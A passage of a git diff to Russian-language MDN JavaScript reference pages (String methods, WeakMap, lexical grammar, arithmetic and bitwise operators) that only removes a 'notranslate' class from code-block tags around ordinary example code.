символ, или присвоить значение числовому свойству закончится неудачей, поскольку эти свойства являются незаписываемыми и ненастраиваемыми. Смотрите документацию по методу {{jsxref("Object.defineProperty()")}} для дополнительной информации.</p> @@ -117,7 +117,7 @@ new String(thing) <p>Разработчики на C имеют для сравнения строк функцию <code>strcmp()</code>. В JavaScript вы просто используете <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B_%D1%81%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F">операторы меньше и больше</a>:</p> -<pre class="brush: js notranslate">var a = 'a'; +<pre class="brush: js">var a = 'a'; var b = 'b'; if (a < b) { // true print(a + ' меньше чем ' + b); @@ -136,7 +136,7 @@ if (a < b) { // true <p>Строковые литералы (обозначаемые двойными или одинарными кавычками) и строки, возвращённые вызовом <code>String</code> в неконструкторном контексте (то есть, без использования ключевого слова {{jsxref("Operators/new", "new")}}) являются строковыми примитивами. JavaScript автоматически преобразует примитивы в объекты <code>String</code>, так что на строковых примитивах возможно использовать методы объекта <code>String</code>. В контекстах, когда на примитивной строке вызывается метод или происходит поиск свойства, JavaScript автоматически оборачивает строковый примитив объектом и вызывает на нём метод или ищет в нём свойство.</p> -<pre class="brush: js notranslate">var s_prim = 'foo'; +<pre class="brush: js">var s_prim = 'foo'; var s_obj = new String(s_prim); console.log(typeof s_prim); // выведет 'string' @@ -145,7 +145,7 @@ console.log(typeof s_obj); // выведет 'object' <p>Строковые примитивы и объекты <code>String</code> также дают разные результаты при использовании глобальной функции {{jsxref("Global_Objects/eval", "eval()")}}. Примитивы, передаваемые в <code>eval()</code>, трактуются как исходный код; объекты же <code>String</code> трактуются так же, как и все остальные объекты, а именно: возвращается сам объект. Например:</p> -<pre class="brush: js notranslate">var s1 = '2 + 2'; // создаёт строковый примитив +<pre class="brush: js">var s1 = '2 + 2'; // создаёт строковый примитив var s2 = new String('2 + 2'); // создаёт объект String console.log(eval(s1)); // выведет число 4 console.log(eval(s2)); // выведет строку '2 + 2' @@ -155,7 +155,7 @@ console.log(eval(s2)); // выведет строку '2 + 2' <p>Объект <code>String</code> также всегда может быть преобразован в его примитивный аналог при помощи метода {{jsxref("String.prototype.valueOf()", "valueOf()")}}.</p> -<pre class="brush: js notranslate">console.log(eval(s2.valueOf())); // выведет число 4 +<pre class="brush: js">console.log(eval(s2.valueOf())); // выведет число 4 </pre> <div class="note"><strong>Примечание:</strong> для того, чтобы узнать больше о другом возможном подходе к строкам в JavaScript, прочитайте статью о <a href="/ru/Add-ons/Code_snippets/StringView"><code>StringView</code> — C-подобном представлении строк на основе типизированных массивов</a>.</div> @@ -186,7 +186,7 @@ console.log(eval(s2)); // выведет строку '2 + 2' <p>Методы экземпляров <code>String</code> также доступны в Firefox как часть JavaScript 1.6 (который не является частью стандарта ECMAScript) на объекте <code>String</code>, что позволяет применять эти методы к любому объекту:</p> -<pre class="brush: js notranslate">var num = 15; +<pre class="brush: js">var num = 15; console.log(String.replace(num, /5/, '2')); </pre> @@ -194,7 +194,7 @@ console.log(String.replace(num, /5/, '2')); <p>Следующая прослойка позволяет использовать их во всех браузерах:</p> -<pre class="brush: js notranslate">/*globals define*/ +<pre class="brush: js">/*globals define*/ // Предполагаем, что все требуемые методы экземпляров String уже присутствуют // (для них так же можно использовать полифилы, если их нет) (function() { @@ -249,7 +249,7 @@ console.log(String.replace(num, /5/, '2')); <p>Объект <code>String</code> можно использовать как «безопасную» альтернативу методу {{jsxref("String.prototype.toString()", "toString()")}}, так как хотя он обычно и вызывает соответствующий метод <code>toString()</code>, он также работает и для значений {{jsxref("Global_Objects/null", "null")}} и {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p> -<pre class="brush: js notranslate">var outputStrings = []; +<pre class="brush: js">var outputStrings = []; for (var i = 0, n = inputValues.length; i < n; ++i) { outputStrings.push(String(inputValues[i])); } diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html index 1ffad309c2..f314d2f18c 100644 --- a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>str</var>.matchAll(<var>regexp</var>)</pre> +<pre class="syntaxbox"><var>str</var>.matchAll(<var>regexp</var>)</pre> <h3 id="Параметры">Параметры</h3> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll <p>До добавления метода <code>matchAll</code> в JavaScript, можно было использовать метод <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">regexp.exec</a> (и регулярные выражения с флагом <code>/g</code> ) в цикле для получения доступа к совпадениям:</p> -<pre class="brush: js notranslate">const regexp = RegExp('foo*','g'); +<pre class="brush: js">const regexp = RegExp('foo*','g'); const str = 'table football, foosball'; while ((matches = regexp.exec(str)) !== null) { @@ -52,7 +52,7 @@ while ((matches = regexp.exec(str)) !== null) { <p>С появлением <code>matchAll</code>, нет необходимости использовать цикл <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> и метод <code>exec</code> с флагом <code>/g</code>.<br> Используя вместо этого метод <code>matchAll</code>, вы получаете итератор, который вы можете использовать более удобно с конструкциями <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">array spread</a>, или {{jsxref("Array.from()")}} :</p> -<pre class="brush: js notranslate">const regexp = RegExp('foo*','g'); +<pre class="brush: js">const regexp = RegExp('foo*','g'); const str = 'table football, foosball'; let matches = str.matchAll(regexp); @@ -74,7 +74,7 @@ Array.from(matches, m => m[0]); <p>Ещё одна веская причина использовать <code>matchAll</code> это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с глобальным флагом <code>/g</code>:</p> -<pre class="brush: js notranslate">var regexp = /t(e)(st(\d?))/g; +<pre class="brush: js">var regexp = /t(e)(st(\d?))/g; var str = 'test1test2'; str.match(regexp); @@ -82,7 +82,7 @@ str.match(regexp); <p>С <code>matchAll</code> у вас появляется к ним доступ:</p> -<pre class="brush: js notranslate">let array = [...str.matchAll(regexp)]; +<pre class="brush: js">let array = [...str.matchAll(regexp)]; array[0]; // ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4] diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html index 318e9a30c3..3c4ce6551f 100644 --- a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">const newStr = <var>str</var>.replaceAll(<var>regexp</var>|<var>substr</var>, <var>newSubstr</var>|<var>function</var>) +<pre class="syntaxbox">const newStr = <var>str</var>.replaceAll(<var>regexp</var>|<var>substr</var>, <var>newSubstr</var>|<var>function</var>) </pre> <div class="blockIndicator note"> @@ -119,20 +119,20 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <h3 id="Using_replaceAll">Using replaceAll</h3> -<pre class="brush: js notranslate">'aabbcc'.replaceAll('b', '.'); +<pre class="brush: js">'aabbcc'.replaceAll('b', '.'); // 'aa..cc'</pre> <h3 id="Non-global_regex_throws">Non-global regex throws</h3> <p>Поиск с регулярными выражениями должен быть с ("g"). Это не работает:</p> -<pre class="brush: js; example-bad notranslate">'aabbcc'.replaceAll(/b/, '.'); +<pre class="brush: js; example-bad">'aabbcc'.replaceAll(/b/, '.'); TypeError: replaceAll must be called with a global RegExp </pre> <p>Это работает:</p> -<pre class="brush: js; example-good notranslate">'aabbcc'.replaceAll(/b/g, '.'); +<pre class="brush: js; example-good">'aabbcc'.replaceAll(/b/g, '.'); "aa..cc" </pre> diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html index 1750d01614..07a1f6b523 100644 --- a/files/ru/web/javascript/reference/global_objects/string/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.slice(<var>beginIndex</var>[, <var>endIndex</var>])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.slice(<var>beginIndex</var>[, <var>endIndex</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -51,7 +51,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice <p>В следующем примере метод <code>slice()</code> используется для создания новой строки.</p> -<pre class="brush: js notranslate">let str1 = 'Приближается утро.'; +<pre class="brush: js">let str1 = 'Приближается утро.'; let str2 = str1.slice(1, 8); let str3 = str1.slice(4, -2); let str4 = str1.slice(12); @@ -67,7 +67,7 @@ console.log(str5); // ВЫВОД: "" <p>В следующем примере метод <code>slice()</code> используется вместе с отрицательными индексами.</p> -<pre class="brush: js notranslate">let str = 'Приближается утро.'; +<pre class="brush: js">let str = 'Приближается утро.'; str.slice(-3); // вернёт 'ро.' str.slice(-3, -1); // вернёт 'ро' str.slice(0, -1); // вернёт 'Приближается утро' @@ -75,15 +75,15 @@ str.slice(0, -1); // вернёт 'Приближается утро' <p>В этом примере начальным индексом считается <code>11</code>-й символ с конца строки, а конечным - <code>16</code>-й с начала.</p> -<pre class="brush: js notranslate">str.slice(-11, 16); // вернёт 'ается утр'</pre> +<pre class="brush: js">str.slice(-11, 16); // вернёт 'ается утр'</pre> <p>Здесь начальным индексом считается <code>6</code>-й символ от начала строки, а конечным - <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">7</span></font>-й с конца.</p> -<pre class="brush: js notranslate">str.slice(6, -7); // вернёт 'жаетс'</pre> +<pre class="brush: js">str.slice(6, -7); // вернёт 'жаетс'</pre> <p>В этом примере оба индекса считаются с конца строки: <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">5</span></font>-й для начального индекса, <code>1</code>-й для конечного.</p> -<pre class="brush: js notranslate">str.slice(-5, -1); // вернёт 'утро'</pre> +<pre class="brush: js">str.slice(-5, -1); // вернёт 'утро'</pre> <h2 id="Specifications">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/string/split/index.html b/files/ru/web/javascript/reference/global_objects/string/split/index.html index 984fe07e85..32eae7b9c0 100644 --- a/files/ru/web/javascript/reference/global_objects/string/split/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/split/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/split <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.split([<var>separator</var>[, <var>limit</var>]])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.split([<var>separator</var>[, <var>limit</var>]])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/split <p>В следующем примере определяется функция, которая разбивает строку на массив строк, используя указанный разделитель. После разбиения строки, функция отображает сообщения, показывающие оригинальную строку (до разбиения), используемый разделитель, количество элементов в массиве и сами эти элементы.</p> -<pre class="brush: js notranslate">function splitString(stringToSplit, separator) { +<pre class="brush: js">function splitString(stringToSplit, separator) { var arrayOfStrings = stringToSplit.split(separator); console.log('Оригинальная строка: "' + stringToSplit + '"'); @@ -68,7 +68,7 @@ splitString(monthString, comma); <p>Пример сгенерирует следующий вывод:</p> -<pre class="notranslate">Оригинальная строка: "И как хорош тот новый мир, где есть такие люди!" +<pre>Оригинальная строка: "И как хорош тот новый мир, где есть такие люди!" Разделитель: " " Массив содержит 10 элементов: И / как / хорош / тот / новый / мир, / где / есть / такие / люди! @@ -85,7 +85,7 @@ splitString(monthString, comma); <p>В следующем примере метод <code>split()</code> ищет 0 или более пробелов, за которыми следует точка с запятой, за которой снова следуют 0 или более пробелов, и, если этот шаблон найден, удаляет пробелы из строки. Переменная <code>nameList</code> является массивом, возвращённым в результате работы метода <code>split()</code>.</p> -<pre class="brush: js notranslate">var names = 'Гарри Трамп ;Фрэд Барни; Хелен Ригби ; Билл Абель ;Крис Ханд '; +<pre class="brush: js">var names = 'Гарри Трамп ;Фрэд Барни; Хелен Ригби ; Билл Абель ;Крис Ханд '; console.log(names); @@ -97,7 +97,7 @@ console.log(nameList); <p>Пример напечатает две строки; на первой строке напечатана оригинальная строчка, а на второй — получившийся массив.</p> -<pre class="notranslate">Гарри Трамп ;Фред Барни; Хелен Ригби ; Билл Абель ;Крис Ханд +<pre>Гарри Трамп ;Фред Барни; Хелен Ригби ; Билл Абель ;Крис Ханд Гарри Трамп,Фред Барни,Хелен Ригби,Билл Абель,Крис Ханд </pre> @@ -105,7 +105,7 @@ console.log(nameList); <p>В следующем примере метод <code>split()</code> ищет 0 или более пробелов в строке и возвращает первые три найденных подстроки.</p> -<pre class="brush: js notranslate">var myString = 'Привет, мир. Как дела?'; +<pre class="brush: js">var myString = 'Привет, мир. Как дела?'; var splits = myString.split(' ', 3); console.log(splits); @@ -113,14 +113,14 @@ console.log(splits); <p>Вывод скрипта будет следующим:</p> -<pre class="brush: js notranslate">Привет,,мир.,Как +<pre class="brush: js">Привет,,мир.,Как </pre> <h3 id="Example_Capturing_parentheses">Пример: захват подгрупп</h3> <p>Если параметр <code>separator</code> содержит подгруппы, сопоставившиеся результаты также будут присутствовать в возвращённом массиве.</p> -<pre class="brush: js notranslate">var myString = 'Привет 1 мир. Предложение номер 2.'; +<pre class="brush: js">var myString = 'Привет 1 мир. Предложение номер 2.'; var splits = myString.split(/(\d)/); console.log(splits); @@ -128,12 +128,12 @@ console.log(splits); <p>Вывод скрипта будет следующим:</p> -<pre class="brush: js notranslate">Привет ,1, мир. Предложение номер ,2,. +<pre class="brush: js">Привет ,1, мир. Предложение номер ,2,. </pre> <h3 id="Example_Reversing_a_String_using_split">Пример: обращение строки при помощи метода <code>split()</code></h3> -<pre class="brush: js notranslate">var str = 'фывапролд'; +<pre class="brush: js">var str = 'фывапролд'; var strReverse = str.split('').reverse().join(''); // 'длорпавыф' // split() возвращает массив, к которому применяются методы reverse() и join() </pre> diff --git a/files/ru/web/javascript/reference/global_objects/string/startswith/index.html b/files/ru/web/javascript/reference/global_objects/string/startswith/index.html index 25084d3d35..9601687858 100644 --- a/files/ru/web/javascript/reference/global_objects/string/startswith/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/startswith/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.startsWith(<var>searchString</var>[, <var>position</var>])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.startsWith(<var>searchString</var>[, <var>position</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith <h3 id="Example_Using_startsWith">Пример: использование метода <code>startsWith()</code></h3> -<pre class="brush: js notranslate">var str = 'Быть или не быть, вот в чём вопрос.'; +<pre class="brush: js">var str = 'Быть или не быть, вот в чём вопрос.'; console.log(str.startsWith('Быть')); // true console.log(str.startsWith('не быть')); // false @@ -48,7 +48,7 @@ console.log(str.startsWith('не быть', 9)); // true <p>Этот метод был добавлен к спецификации ECMAScript 6 и может быть доступен ещё не во всех реализациях JavaScript. Однако, вы можете легко эмулировать этот метод при помощи следующего кода:</p> -<pre class="brush: js notranslate">if (!String.prototype.startsWith) { +<pre class="brush: js">if (!String.prototype.startsWith) { Object.defineProperty(String.prototype, 'startsWith', { enumerable: false, configurable: false, diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html index 9b1f77b853..2ce67df673 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>new WeakMap([iterable]) +<pre class="syntaxbox"><code>new WeakMap([iterable]) </code></pre> <h3 id="Parameters">Параметры</h3> @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap <h3 id="Использование_объекта_WeakMap">Использование объекта <code>WeakMap</code></h3> -<pre class="brush: js notranslate">const wm1 = new WeakMap(), +<pre class="brush: js">const wm1 = new WeakMap(), wm2 = new WeakMap(), wm3 = new WeakMap(); const o1 = {}, @@ -92,7 +92,7 @@ wm1.has(o1); // false <h3 id="Пример_Реализация_класса_WeakMap-like_классов_с_методом_.clear">Пример: Реализация класса WeakMap-like классов с методом .clear()</h3> -<pre class="brush: js notranslate">class ClearableWeakMap { +<pre class="brush: js">class ClearableWeakMap { constructor(init) { this._wm = new WeakMap(init) } diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html index 64a70d311e..f70c017e14 100644 --- a/files/ru/web/javascript/reference/lexical_grammar/index.html +++ b/files/ru/web/javascript/reference/lexical_grammar/index.html @@ -166,7 +166,7 @@ ECMAScript также определяет ключевые слова и лит <p>Первый способ <code>//</code> комментарий; в этом случае весь текст в строке после двойного слеша будет комментарием, например:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { // Это комментарий в строке console.log("Hello world!"); } @@ -177,7 +177,7 @@ comment(); <p>Например, вы можете использовать его в одной строке:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { /* Это однострочный комментарий */ console.log("Hello world!"); } @@ -185,7 +185,7 @@ comment();</pre> <p>Либо вы можете сделать многострочный комментарий, как показано здесь:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { /* Этот комментарий располагается на нескольких линиях. Обратите внимание, что вам не нужно обрывать комментарий, пока вы его не закончите*/ console.log("Hello world!"); @@ -194,14 +194,14 @@ comment(); </pre> <p>Также, если пожелаете, то вы можете использовать такое комментирование посреди строки кода. Хотя это может ухудшить читабельность кода:</p> -<pre class="brush: js notranslate">function comment(x) { +<pre class="brush: js">function comment(x) { console.log("Hello " + x /* вставьте значение x */ + " !"); } comment("world");</pre> <p>Чтобы отключить выполнение кода, просто оберните код в комментарий, как здесь:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { /* console.log("Hello world!"); */ } comment();</pre> @@ -216,7 +216,7 @@ comment();</pre> <p>Шебанг комментарий определяет путь к JavaScript интерпретатору, скрипт которого вы хотите выполнить. Пример, как это работает:</p> -<pre class="brush: js notranslate">#!/usr/bin/env node +<pre class="brush: js">#!/usr/bin/env node console.log("Hello world"); </pre> @@ -329,14 +329,14 @@ console.log("Hello world"); <p>Зарезервированные слова действительно применяются только к идентификаторам<strong> (vs. IdentifierNames)</strong>. Как описано в <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a>, это все имена IdentifierNames, которые не исключают зарезервированных слов.</p> -<pre class="brush: js notranslate">a.import +<pre class="brush: js">a.import a["import"] a = { import: "test" }. </pre> <p>С другой стороны, следующее выражение неправильно, т.к. Идентификатор <code>IdentifierName</code> не содержит зарезервированных слов. Идентификаторы используются для <code>FunctionDeclaration, FunctionExpression, VariableDeclaration</code> и т.п., в то время, как <code>IdentifierNames</code> используются для <code> MemberExpression, CallExpression</code> и т.п.</p> -<pre class="brush: js notranslate">function import() {} // неправильно.</pre> +<pre class="brush: js">function import() {} // неправильно.</pre> <h2 id="Литералы">Литералы</h2> @@ -344,20 +344,20 @@ a = { import: "test" }. <p>Подробнее о <code>{{jsxref('Global_Objects/null','null')}}null</code>.</p> -<pre class="brush: js notranslate">null</pre> +<pre class="brush: js">null</pre> <h3 id="Литерал_Boolean">Литерал Boolean</h3> <p>Подробнее о <code>{{jsxref('Global_Objects/Boolean','Boolean')}}</code>.</p> -<pre class="brush: js notranslate">true +<pre class="brush: js">true false</pre> <h3 id="Литералы_чисел">Литералы чисел</h3> <h4 id="Decimal_десятичные_числа">Decimal (десятичные числа)</h4> -<pre class="brush: js notranslate">1234567890 +<pre class="brush: js">1234567890 42 // Будьте осторожны с использованием нуля вначале числа: @@ -372,7 +372,7 @@ false</pre> <p>Синтаксис двоичных чисел состоит из цифры ноль, за которой следует маленькая или большая латинская буква "B" (0b или 0B). Этот синтаксис новый и появился только в ECMAScript 2015, пожалуйста посмотрите таблицу совместимости с браузерами. Это может производить ошибку <code>{{jsxref('Global_Objects/SyntaxError','SyntaxError')}}</code>: "Missing binary digits after 0b", Если цифры не 0 или 1.</p> -<pre class="brush: js notranslate">var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648 +<pre class="brush: js">var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648 var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040 var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre> @@ -380,7 +380,7 @@ var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre> <p>Восьмеричный числовой синтаксис, который использует 0 с последующей, в нижнем или верхнем регистре, латинскую букву "О" (<code>0o</code> или <code>0O)</code>. Этот синтаксис появился в ECMAScript 2015, пожалуйста, посмотрите таблицу совместимости с браузерами. Это может производить ошибку <code>SyntaxError</code>: "Missing octal digits after 0o", если цифры не между 0 и 7.</p> -<pre class="brush: js notranslate">var n = 0O755; // 493 +<pre class="brush: js">var n = 0O755; // 493 var m = 0o644; // 420 // Так же возможно с лидирующими нулями (см. заметку о десятичных дробях выше) @@ -392,7 +392,7 @@ var m = 0o644; // 420 <p>Шестнадцатеричный числовой синтаксис, который использует 0 с последующей, в нижнем или верхнем регистре, латинскую букву "X" (<code>0x</code> или <code>0X)</code>. Если числа после 0x вне диапазона (0123456789ABCDEF), то может последовать за этим {{jsxref("SyntaxError")}}: "Identifier starts immediately after numeric literal".</p> -<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000 +<pre class="brush: js">0xFFFFFFFFFFFFFFFFF // 295147905179352830000 0x123456789ABCDEF // 81985529216486900 0XA // 10 </pre> @@ -401,7 +401,7 @@ var m = 0o644; // 420 <p>Смотрите также {{jsxref("Object")}} и {{jsxref('Operators/Object_initializer','Object initializer')}} для получения более подробной информации.</p> -<pre class="brush: js notranslate">var o = { a: "foo", b: "bar", c: 42 }; +<pre class="brush: js">var o = { a: "foo", b: "bar", c: 42 }; // сокращённая нотация. Появилась в ES2015 var a = "foo", b = "bar", c = 42; @@ -414,23 +414,23 @@ var o = { a: a, b: b, c: c }; <p>Смотрите также {{jsxref("Array")}} для получения более подробной информации.</p> -<pre class="brush: js notranslate">[1954, 1974, 1990, 2014]</pre> +<pre class="brush: js">[1954, 1974, 1990, 2014]</pre> <h3 id="Литерал_String_Строка">Литерал String (Строка)</h3> -<pre class="brush: js notranslate">'foo' +<pre class="brush: js">'foo' "bar"</pre> <h4 id="Экранирование_шестнадцатеричной_последовательности">Экранирование шестнадцатеричной последовательности</h4> -<pre class="brush: js notranslate">'\xA9' // "©" +<pre class="brush: js">'\xA9' // "©" </pre> <h4 id="Экранирование_Юникод_символов">Экранирование Юникод символов</h4> <p>Для экранирования Юникод символов обязательно нужно указать по крайней мере 4 символа после \u.</p> -<pre class="brush: js notranslate">'\u00A9' // "©"</pre> +<pre class="brush: js">'\u00A9' // "©"</pre> <h4 id="Unicode_code_point_escapes">Unicode code point escapes</h4> @@ -438,7 +438,7 @@ var o = { a: a, b: b, c: c }; <p>See also {{jsxref("String.fromCodePoint()")}} or {{jsxref("String.prototype.codePointAt()")}}.</p> -<pre class="brush: js notranslate">'\u{2F804}' +<pre class="brush: js">'\u{2F804}' // the same with simple Unicode escapes '\uD87E\uDC04'</pre> @@ -447,7 +447,7 @@ var o = { a: a, b: b, c: c }; <p>Смотрите также <code>{{jsxref('Global_Objects/RegExp','RegExp')}}</code> для получения более подробной информации.</p> -<pre class="brush: js notranslate">/ab+c/g +<pre class="brush: js">/ab+c/g // An "empty" regular expression literal // The empty non-capturing group is necessary @@ -458,7 +458,7 @@ var o = { a: a, b: b, c: c }; <p>Смотрите также {{jsxref('template_strings','template strings')}} для получения более подробной информации.</p> -<pre class="brush: js notranslate">`string text` +<pre class="brush: js">`string text` `string text line 1 string text line 2` @@ -485,7 +485,7 @@ tag `string text ${expression} string text`</pre> <p>1. Точка с запятой ставится до, когда ограничитель строки или "}" is encountered that is not allowed by the grammar.</p> -<pre class="brush: js notranslate">{ 1 2 } 3 +<pre class="brush: js">{ 1 2 } 3 // согласно ASI, будет преобразовано в @@ -495,7 +495,7 @@ tag `string text ${expression} string text`</pre> <p>Here <code>++</code> is not treated as a {{jsxref('Operators/Arithmetic_Operators','postfix operator','Increment')}} applying to variable <code>b</code>, because a line terminator occurs between <code>b</code> and <code>++</code>.</p> -<pre class="brush: js notranslate">a = b +<pre class="brush: js">a = b ++c // согласно ASI, будет преобразовано в @@ -515,7 +515,7 @@ a = b; <li><code>module</code></li> </ul> -<pre class="brush: js notranslate">return +<pre class="brush: js">return a + b // согласно ASI, будет преобразовано в diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html index 944ef3d8a7..c9b2961231 100644 --- a/files/ru/web/javascript/reference/operators/addition/index.html +++ b/files/ru/web/javascript/reference/operators/addition/index.html @@ -18,14 +18,14 @@ translation_of: Web/JavaScript/Reference/Operators/Addition <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Оператор:</strong> <var>x</var> + <var>y</var> +<pre class="syntaxbox"><strong>Оператор:</strong> <var>x</var> + <var>y</var> </pre> <h2 id="Примеры">Примеры</h2> <h3 id="Сложение_чисел">Сложение чисел</h3> -<pre class="brush: js notranslate">// Number + Number -> addition +<pre class="brush: js">// Number + Number -> addition 1 + 2 // 3 // Boolean + Number -> addition @@ -37,7 +37,7 @@ false + false // 0 <h3 id="Сложение_строк">Сложение строк</h3> -<pre class="brush: js notranslate">// String + String -> concatenation +<pre class="brush: js">// String + String -> concatenation 'foo' + 'bar' // "foobar" // Number + String -> concatenation diff --git a/files/ru/web/javascript/reference/operators/addition_assignment/index.html b/files/ru/web/javascript/reference/operators/addition_assignment/index.html index e7124ec00f..99c5b74dc5 100644 --- a/files/ru/web/javascript/reference/operators/addition_assignment/index.html +++ b/files/ru/web/javascript/reference/operators/addition_assignment/index.html @@ -18,14 +18,14 @@ translation_of: Web/JavaScript/Reference/Operators/Addition_assignment <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Оператор:</strong> x += y +<pre class="syntaxbox"><strong>Оператор:</strong> x += y <strong>Значение:</strong> x = x + y</pre> <h2 id="Примеры">Примеры</h2> <h3 id="Использование_сложения_с_присваиванием">Использование сложения с присваиванием</h3> -<pre class="brush: js notranslate">// Assuming the following variables +<pre class="brush: js">// Assuming the following variables // foo = 'foo' // bar = 5 // baz = true diff --git a/files/ru/web/javascript/reference/operators/assignment/index.html b/files/ru/web/javascript/reference/operators/assignment/index.html index 795c61c381..70aacd182a 100644 --- a/files/ru/web/javascript/reference/operators/assignment/index.html +++ b/files/ru/web/javascript/reference/operators/assignment/index.html @@ -26,14 +26,14 @@ original_slug: Web/JavaScript/Reference/Operators/Присваивание <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Оператор:</strong> x = y +<pre class="syntaxbox"><strong>Оператор:</strong> x = y </pre> <h2 id="Примеры">Примеры</h2> <h3 id="Простое_и_цепное_присваивание">Простое и цепное присваивание</h3> -<pre class="brush: js notranslate">// Предположим следующие переменные и их значения +<pre class="brush: js">// Предположим следующие переменные и их значения // x = 5 // y = 10 // z = 25 diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html index bdb11d9d4b..745ad33be8 100644 --- a/files/ru/web/javascript/reference/operators/bitwise_and/index.html +++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html @@ -18,14 +18,14 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>a</var> & <var>b</var></code> +<pre class="syntaxbox"><code><var>a</var> & <var>b</var></code> </pre> <h2 id="Описание">Описание</h2> <p>Операнды преобразуются в 32-битные целые числа и выражаются серией битов (нулей and единиц). Числа с более чем 32 битами отбрасывают старшие разряды. Например, следующее целое число с более чем 32 битами будет преобразовано в 32-битное целое:</p> -<pre class="brush: js notranslate">До: 11100110111110100000000000000110000000000001 +<pre class="brush: js">До: 11100110111110100000000000000110000000000001 После: 10100000000000000110000000000001</pre> <p>Каждый бит в первом операнде связан с соответствующим битом во втором операнде:<em>первый бит - с первым</em>,<em>второй- со вторым</em>, и т.д.</p> @@ -66,7 +66,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND </tbody> </table> -<pre class="brush: js notranslate">. 9 (base 10) = 00000000000000000000000000001001 (base 2) +<pre class="brush: js">. 9 (base 10) = 